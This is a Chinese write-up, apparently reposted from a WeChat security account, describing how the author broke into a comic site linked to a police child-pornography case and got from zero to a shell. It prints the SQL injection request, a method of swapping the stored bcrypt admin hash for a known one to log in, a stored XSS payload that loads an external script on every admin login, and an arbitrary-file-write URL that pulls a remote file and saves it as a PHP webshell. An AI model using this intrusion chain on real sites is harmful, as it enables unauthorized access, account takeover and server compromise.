经熟人介绍,接到了某地公安的一个关于儿童色情相关的案件,从0到shell的过程。
首页界面:
个人中心界面:
经过对网站的侦察,发现了一处SQL注入漏洞。
POST /home/api/getcnxh.html HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vgpsk2hldk6um1ko0klktjdu90; referer=null; Hm_lvt_3cc2d9a3db9890c5b316a13983c7b017=1655260236; crisp-client%2Fsession%2F328b8d45-974d-47e4-9789-0c25dea9b544=session_a905c982-c567-49e2-b394-43ecc5aa5e89; Hm_lpvt_3cc2d9a3db9890c5b316a13983c7b017=1655261243; crisp-client%2Fsocket%2F328b8d45-974d-47e4-9789-0c25dea9b544=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
limit=15&type=1'
通过对其测试发现该注入点支持 报错注入+堆叠查询 然而并非DBA权限,所以凉凉。
我们开始进入后台。
当我们读取到了后台密码后,发现并非是MD5密码。
科普小知识
$2y$10$qtAl98K5jq6LOFixMJUBXu04volsS7xB23ZPeCqLGWvnUc.hFoOF.
password_hash()使用了一个强的哈希算法,来产生足够强的盐值,并且会自动进行合适的轮次。password_hash()是crypt()的一个简单封装,并且完全与现有的密码哈希兼容。所以推荐使用password_hash()。
简而言之,此种加密比MD5加密更加安全,并且每次加密值都不会相同
所以我们寻找到了一个密码,用来修改他的原始密码,当我们登录成功后我们在替换回来即可。
原始:$2y$10$qtAl98K5jq6LOFixMJUBXu04volsS7xB23ZPeCqLGWvnUc.hFoOF.
新密码:$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K = rasmuslerdorf
这个时候数据库中的密码产生了变化,我们可以使用该密码登录。
进入后台
后台进了,寻找了好几圈都没有找到Getshell的地方,后来也尝试寻找
Thinkphp3.2.3 的缓存文件Getshell方法(【微盘系统】后台修改配置文件通过缓存进行Getshell 原理跟TP5相同。
但是均无疾而终。
于是只能想办法进行水坑攻击。通过寻找标题可控或者菜单名可控进行XSS,但是均被过滤
在经过长期的寻找,发现了一处功能点。
这里可以控制所有的CSS。并且是输出页面的。
剩下的应该能猜到了。
水坑 Payload
!important;}%0a<script src="1.js"></script><style type="text/css">
只要登录后台必定触发该水坑,最终上线。
Getshell
委托人想要拿到Shell以及数据库。所以我还得加把力!
通过搜索后台的显示名称【歪歪漫画】,在百度中果然找到同类型源码,你懂的,下面就是进入代码审计。
花了5块钱,开始下载审计。
如上图,在这里发现了漏洞点,简而言之就是这里代码功能主要实现了:请求外部提供的URL地址,将其资源保存到你想要保存的位置,活脱脱的一个任意文件写入。
利用Payload:
/admin/caiji/httpcopyyymh?url=xxxx.jpg&path=保存路径&file=123.php
前后台都有这个接口。
文章来源微信公众号:HACK学习君